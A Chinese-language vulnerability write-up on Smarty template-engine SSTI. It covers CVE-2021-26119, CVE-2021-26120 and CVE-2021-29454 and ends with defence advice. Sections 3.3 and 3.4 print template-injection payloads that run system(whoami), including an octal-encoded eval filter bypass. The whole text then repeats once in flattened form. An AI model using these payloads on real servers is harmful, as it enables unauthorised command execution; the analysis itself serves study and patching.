Smarty 最新 SSTI 总结
字数 1381 2025-08-29 08:32:09

Smarty SSTI漏洞分析与利用指南

1. Smarty简介

Smarty是一个PHP模板引擎,采用变量替换原则实现前端(HTML)与后端(PHP)代码分离。其工作原理是在HTML文件中使用Smarty标签(如{name}),然后通过Smarty方法传递变量参数。

2. 环境搭建

  • 版本选择:根据漏洞需求选择不同Smarty版本
  • 下载地址Smarty GitHub
  • 测试环境
    • Windows 10 + phpstudy
    • PHP 7.3.4
  • 安装方法:下载源码后解压,引入Smarty.class.php即可

3. 漏洞复现与分析

3.1 任意文件读取漏洞

特征

  • 可以引入普通文件和PHP文件
  • 引入PHP文件时只能输出内容,不能执行代码

原因分析

  • Smarty使用正则表达式匹配<?php?>标签
  • 匹配到后会使用单引号包裹内容

3.2 CVE-2021-26120

漏洞描述:函数编译时未对name参数进行充分过滤

修复版本:3.1.39

修复方式

  • 增加了正则表达式限制name参数内容
  • 防止恶意代码注入

3.3 CVE-2021-26119

POC示例

{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}

漏洞原因

  • 通过{$smarty.template_object}可以访问到smarty对象
  • 导致可以调用危险方法执行系统命令

版本影响

  • 最新版本4.1.0和3.1.44仍受影响
  • 目前尚未修复

技术细节

  1. 触发漏洞后会在templates_c目录生成两个模板编译文件
  2. 第一个文件调用content_[hash1]函数
  3. 第二个文件调用content_[hash2]函数并执行恶意代码

为什么需要复杂POC

  • 直接传入string:{system(whoami)}$_POST['data']会报错
  • 需要通过smarty对象间接调用才能成功执行

3.4 CVE-2021-29454

POC示例

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

漏洞原因

  • libs/plugins/function.math.php中的smarty_function_math执行了eval()
  • 可通过8进制数字绕过正则表达式过滤

修复版本

  • 3.1.42
  • 4.0.2

技术细节

  • PHP的eval()支持8进制和16进制数据
  • PHP7支持(system)(whoami);这种调用方式
  • PHP5不支持这种调用方式,因此8进制方式在PHP5中不可用

修复方式

  • 在3.1.42版本中增加了正则判断
  • 防止8进制编码绕过

4. 漏洞代码位置

  1. CVE-2021-26120

    • libs/sysplugins/smarty_internal_compile_function.php
    • Smarty_Internal_Compile_Function->compile()方法
  2. CVE-2021-29454

    • libs/plugins/function.math.php
    • smarty_function_math函数

5. 防御建议

  1. 及时升级到最新修复版本
  2. 对用户输入进行严格过滤
  3. 避免在模板中直接使用用户可控数据
  4. 禁用危险函数如eval()
  5. 限制Smarty的权限和可访问目录

6. 参考资料

  1. Smarty GitHub仓库
  2. 官方漏洞公告
  3. PHP安全编程指南
Smarty SSTI漏洞分析与利用指南 1. Smarty简介 Smarty是一个PHP模板引擎,采用变量替换原则实现前端(HTML)与后端(PHP)代码分离。其工作原理是在HTML文件中使用Smarty标签(如 {name} ),然后通过Smarty方法传递变量参数。 2. 环境搭建 版本选择 :根据漏洞需求选择不同Smarty版本 下载地址 : Smarty GitHub 测试环境 : Windows 10 + phpstudy PHP 7.3.4 安装方法 :下载源码后解压,引入 Smarty.class.php 即可 3. 漏洞复现与分析 3.1 任意文件读取漏洞 特征 : 可以引入普通文件和PHP文件 引入PHP文件时只能输出内容,不能执行代码 原因分析 : Smarty使用正则表达式匹配 <?php?> 标签 匹配到后会使用单引号包裹内容 3.2 CVE-2021-26120 漏洞描述 :函数编译时未对name参数进行充分过滤 修复版本 :3.1.39 修复方式 : 增加了正则表达式限制name参数内容 防止恶意代码注入 3.3 CVE-2021-26119 POC示例 : 漏洞原因 : 通过 {$smarty.template_object} 可以访问到smarty对象 导致可以调用危险方法执行系统命令 版本影响 : 最新版本4.1.0和3.1.44仍受影响 目前尚未修复 技术细节 : 触发漏洞后会在 templates_c 目录生成两个模板编译文件 第一个文件调用 content_[hash1] 函数 第二个文件调用 content_[hash2] 函数并执行恶意代码 为什么需要复杂POC : 直接传入 string:{system(whoami)} 到 $_POST['data'] 会报错 需要通过smarty对象间接调用才能成功执行 3.4 CVE-2021-29454 POC示例 : 漏洞原因 : libs/plugins/function.math.php 中的 smarty_function_math 执行了 eval() 可通过8进制数字绕过正则表达式过滤 修复版本 : 3.1.42 4.0.2 技术细节 : PHP的 eval() 支持8进制和16进制数据 PHP7支持 (system)(whoami); 这种调用方式 PHP5不支持这种调用方式,因此8进制方式在PHP5中不可用 修复方式 : 在3.1.42版本中增加了正则判断 防止8进制编码绕过 4. 漏洞代码位置 CVE-2021-26120 : libs/sysplugins/smarty_internal_compile_function.php Smarty_Internal_Compile_Function->compile() 方法 CVE-2021-29454 : libs/plugins/function.math.php smarty_function_math 函数 5. 防御建议 及时升级到最新修复版本 对用户输入进行严格过滤 避免在模板中直接使用用户可控数据 禁用危险函数如 eval() 限制Smarty的权限和可访问目录 6. 参考资料 Smarty GitHub仓库 官方漏洞公告 PHP安全编程指南